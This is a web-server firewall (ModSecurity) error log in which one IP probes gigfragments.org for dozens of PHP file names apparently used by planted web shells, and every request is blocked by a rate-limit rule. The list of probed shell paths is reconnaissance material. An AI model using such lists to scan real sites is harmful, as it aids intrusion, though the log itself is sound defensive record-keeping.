[Tue May 26 21:26:43.016769 2026] [:error] [pid 33887:tid 33938] [client 20.151.112.53:52135] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "ahWfk9COI_FV7meOxGdDyAAAAJM"]
[Tue May 26 21:26:43.901299 2026] [:error] [pid 43701:tid 43720] [client 20.151.112.53:18179] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/"] [unique_id "ahWfk4WtVI_UGrhtwKDdLQAAAVE"]
[Tue May 26 21:26:44.691578 2026] [:error] [pid 43701:tid 43723] [client 20.151.112.53:62783] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/"] [unique_id "ahWflIWtVI_UGrhtwKDdMgAAAVQ"]
[Tue May 26 21:26:45.407732 2026] [:error] [pid 33888:tid 33955] [client 20.151.112.53:52120] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/"] [unique_id "ahWflTqzTeoxiinZsGEVhwAAAQk"]
[Tue May 26 21:26:46.883024 2026] [:error] [pid 33977:tid 33983] [client 20.151.112.53:61280] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/"] [unique_id "ahWflu9cnSDNAU9sYPj57wAAAAM"]
[Tue May 26 21:26:48.495230 2026] [:error] [pid 43701:tid 43715] [client 20.151.112.53:63803] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/00.php"] [unique_id "ahWfmIWtVI_UGrhtwKDdPwAAAUw"]
[Tue May 26 21:26:51.380648 2026] [:error] [pid 43701:tid 43715] [client 20.151.112.53:48694] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/00.php"] [unique_id "ahWfm4WtVI_UGrhtwKDdSQAAAUw"]
[Tue May 26 21:26:52.068995 2026] [:error] [pid 33887:tid 33926] [client 20.151.112.53:18180] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/00.php"] [unique_id "ahWfnNCOI_FV7meOxGdDzQAAAIc"]
[Tue May 26 21:26:53.072294 2026] [:error] [pid 33886:tid 33905] [client 20.151.112.53:52159] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/00.php"] [unique_id "ahWfnbBYzgp5rPVdHcWqfAAAAE4"]
[Tue May 26 21:26:53.885441 2026] [:error] [pid 33886:tid 33899] [client 20.151.112.53:28498] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/als.php"] [unique_id "ahWfnbBYzgp5rPVdHcWqfwAAAEg"]
[Tue May 26 21:26:55.303908 2026] [:error] [pid 43701:tid 43721] [client 20.151.112.53:48700] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/als.php"] [unique_id "ahWfn4WtVI_UGrhtwKDdVQAAAVI"]
[Tue May 26 21:26:57.031703 2026] [:error] [pid 36497:tid 36523] [client 20.151.112.53:30976] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/als.php"] [unique_id "ahWfobjKQWM1gBmBY4gX-QAAAM0"]
[Tue May 26 21:26:58.751170 2026] [:error] [pid 33888:tid 33968] [client 20.151.112.53:41711] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/als.php"] [unique_id "ahWfojqzTeoxiinZsGEVjwAAARY"]
[Tue May 26 21:26:59.813304 2026] [:error] [pid 33977:tid 33986] [client 20.151.112.53:18187] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pol.php"] [unique_id "ahWfo-9cnSDNAU9sYPj5-wAAAAY"]
[Tue May 26 21:27:01.295753 2026] [:error] [pid 43701:tid 43703] [client 20.151.112.53:41677] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pol.php"] [unique_id "ahWfpYWtVI_UGrhtwKDdXgAAAUA"]
[Tue May 26 21:27:02.380591 2026] [:error] [pid 33886:tid 33892] [client 20.151.112.53:63762] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pol.php"] [unique_id "ahWfprBYzgp5rPVdHcWqiAAAAEE"]
[Tue May 26 21:27:03.437595 2026] [:error] [pid 43701:tid 43706] [client 20.151.112.53:20114] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pol.php"] [unique_id "ahWfp4WtVI_UGrhtwKDdYgAAAUM"]
[Tue May 26 21:27:04.222828 2026] [:error] [pid 33977:tid 33988] [client 20.151.112.53:20122] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ll.php"] [unique_id "ahWfqO9cnSDNAU9sYPj6AQAAAAg"]
[Tue May 26 21:27:04.873617 2026] [:error] [pid 43701:tid 43719] [client 20.151.112.53:27850] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ll.php"] [unique_id "ahWfqIWtVI_UGrhtwKDdZwAAAVA"]
[Tue May 26 21:27:05.815616 2026] [:error] [pid 43701:tid 43721] [client 20.151.112.53:20103] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ll.php"] [unique_id "ahWfqYWtVI_UGrhtwKDdbQAAAVI"]
[Tue May 26 21:27:07.454084 2026] [:error] [pid 43701:tid 43710] [client 20.151.112.53:18177] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ll.php"] [unique_id "ahWfq4WtVI_UGrhtwKDdfgAAAUc"]
[Tue May 26 21:27:08.850051 2026] [:error] [pid 33886:tid 33891] [client 20.151.112.53:27890] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "ahWfrLBYzgp5rPVdHcWqkQAAAEA"]
[Tue May 26 21:27:10.038078 2026] [:error] [pid 43701:tid 43703] [client 20.151.112.53:37429] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "ahWfroWtVI_UGrhtwKDdiwAAAUA"]
[Tue May 26 21:27:11.236767 2026] [:error] [pid 43701:tid 43706] [client 20.151.112.53:51708] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "ahWfr4WtVI_UGrhtwKDdjgAAAUM"]
[Tue May 26 21:27:12.220928 2026] [:error] [pid 33887:tid 33934] [client 20.151.112.53:30987] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sf.php"] [unique_id "ahWfsNCOI_FV7meOxGdD3gAAAI8"]
[Tue May 26 21:27:15.609108 2026] [:error] [pid 33887:tid 33942] [client 20.151.112.53:40391] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "ahWfs9COI_FV7meOxGdD4AAAAJc"]
[Tue May 26 21:27:17.311147 2026] [:error] [pid 33977:tid 33993] [client 20.151.112.53:54510] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "ahWfte9cnSDNAU9sYPj6FAAAAA0"]
[Tue May 26 21:27:21.282029 2026] [:error] [pid 33977:tid 33986] [client 20.151.112.53:16966] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "ahWfue9cnSDNAU9sYPj6FwAAAAY"]
[Tue May 26 21:27:23.058984 2026] [:error] [pid 33887:tid 33921] [client 20.151.112.53:2637] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file5.php"] [unique_id "ahWfu9COI_FV7meOxGdD7wAAAII"]
[Tue May 26 21:27:24.423539 2026] [:error] [pid 33886:tid 33911] [client 20.151.112.53:16938] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "ahWfvLBYzgp5rPVdHcWqngAAAFQ"]
[Tue May 26 21:27:25.964267 2026] [:error] [pid 33887:tid 33928] [client 20.151.112.53:25956] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "ahWfvdCOI_FV7meOxGdD9QAAAIk"]
[Tue May 26 21:27:27.037943 2026] [:error] [pid 36497:tid 36521] [client 20.151.112.53:38049] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "ahWfv7jKQWM1gBmBY4gYIAAAAMs"]
[Tue May 26 21:27:28.485668 2026] [:error] [pid 36497:tid 36531] [client 20.151.112.53:56725] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "ahWfwLjKQWM1gBmBY4gYJwAAANU"]
[Tue May 26 21:27:29.331022 2026] [:error] [pid 33886:tid 33895] [client 20.151.112.53:41023] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4PJcpMFsD8B.php"] [unique_id "ahWfwbBYzgp5rPVdHcWqqgAAAEQ"]
[Tue May 26 21:27:30.342067 2026] [:error] [pid 33888:tid 33958] [client 20.151.112.53:13796] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4PJcpMFsD8B.php"] [unique_id "ahWfwjqzTeoxiinZsGEVswAAAQw"]
[Tue May 26 21:27:31.778533 2026] [:error] [pid 43701:tid 43726] [client 20.151.112.53:21904] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4PJcpMFsD8B.php"] [unique_id "ahWfw4WtVI_UGrhtwKDdwwAAAVc"]
[Tue May 26 21:27:50.477488 2026] [:error] [pid 36497:tid 36534] [client 20.151.112.53:31056] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cA3bHIkVhgP.php"] [unique_id "ahWf1rjKQWM1gBmBY4gYgwAAANg"]
[Tue May 26 21:27:51.169968 2026] [:error] [pid 43701:tid 43723] [client 20.151.112.53:24051] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cA3bHIkVhgP.php"] [unique_id "ahWf14WtVI_UGrhtwKDeCQAAAVQ"]
[Tue May 26 21:27:51.888911 2026] [:error] [pid 43701:tid 43721] [client 20.151.112.53:24046] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cA3bHIkVhgP.php"] [unique_id "ahWf14WtVI_UGrhtwKDeDwAAAVI"]
[Tue May 26 21:27:52.588251 2026] [:error] [pid 33888:tid 33962] [client 20.151.112.53:55807] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cA3bHIkVhgP.php"] [unique_id "ahWf2DqzTeoxiinZsGEVzgAAARA"]
[Tue May 26 21:27:53.145372 2026] [:error] [pid 43701:tid 43722] [client 20.151.112.53:24019] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clas11.php"] [unique_id "ahWf2YWtVI_UGrhtwKDeGAAAAVM"]
[Tue May 26 21:27:53.911651 2026] [:error] [pid 43701:tid 43723] [client 20.151.112.53:31056] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clas11.php"] [unique_id "ahWf2YWtVI_UGrhtwKDeHQAAAVQ"]
[Tue May 26 21:27:54.866511 2026] [:error] [pid 43701:tid 43721] [client 20.151.112.53:55753] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clas11.php"] [unique_id "ahWf2oWtVI_UGrhtwKDeIAAAAVI"]
[Tue May 26 21:27:55.410882 2026] [:error] [pid 36497:tid 36533] [client 20.151.112.53:27842] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clas11.php"] [unique_id "ahWf27jKQWM1gBmBY4gYkwAAANc"]
[Tue May 26 21:27:56.039584 2026] [:error] [pid 33977:tid 33996] [client 20.151.112.53:48058] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxl.php"] [unique_id "ahWf3O9cnSDNAU9sYPj6QQAAABA"]
[Tue May 26 21:28:04.036652 2026] [:error] [pid 36497:tid 36524] [client 20.151.112.53:55796] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxl.php"] [unique_id "ahWf5LjKQWM1gBmBY4gYwAAAAM4"]
[Tue May 26 21:28:05.172756 2026] [:error] [pid 33887:tid 33939] [client 20.151.112.53:47403] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxl.php"] [unique_id "ahWf5dCOI_FV7meOxGdEEgAAAJQ"]
[Tue May 26 21:28:14.150396 2026] [:error] [pid 33888:tid 33959] [client 20.151.112.53:21500] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cxl.php"] [unique_id "ahWf7jqzTeoxiinZsGEV3AAAAQ0"]
[Tue May 26 21:30:01.640383 2026] [:error] [pid 33887:tid 33924] [client 20.151.112.53:15014] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/testphp.php"] [unique_id "ahWgWdCOI_FV7meOxGdEigAAAIU"]
[Tue May 26 21:31:21.815175 2026] [:error] [pid 33888:tid 33966] [client 20.151.112.53:18291] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ahWgqTqzTeoxiinZsGEWqgAAARQ"]
[Tue May 26 21:31:23.321219 2026] [:error] [pid 33977:tid 33988] [client 20.151.112.53:18202] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ahWgq-9cnSDNAU9sYPj7QgAAAAg"]
[Tue May 26 21:31:25.086195 2026] [:error] [pid 36497:tid 36531] [client 20.151.112.53:44744] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ahWgrbjKQWM1gBmBY4gacAAAANU"]
[Tue May 26 21:31:26.505811 2026] [:error] [pid 33887:tid 33939] [client 20.151.112.53:29741] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "ahWgrtCOI_FV7meOxGdE5wAAAJQ"]
[Tue May 26 21:31:27.406204 2026] [:error] [pid 33977:tid 33983] [client 20.151.112.53:33939] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "ahWgr-9cnSDNAU9sYPj7SAAAAAM"]
[Tue May 26 21:31:28.525310 2026] [:error] [pid 33888:tid 33958] [client 20.151.112.53:33944] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "ahWgsDqzTeoxiinZsGEWrQAAAQw"]
[Tue May 26 21:31:29.047438 2026] [:error] [pid 33887:tid 33934] [client 20.151.112.53:13060] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "ahWgsdCOI_FV7meOxGdE6wAAAI8"]
[Tue May 26 21:31:30.323828 2026] [:error] [pid 33886:tid 33893] [client 20.151.112.53:33941] [client 20.151.112.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "ahWgsrBYzgp5rPVdHcWrsAAAAEI"]
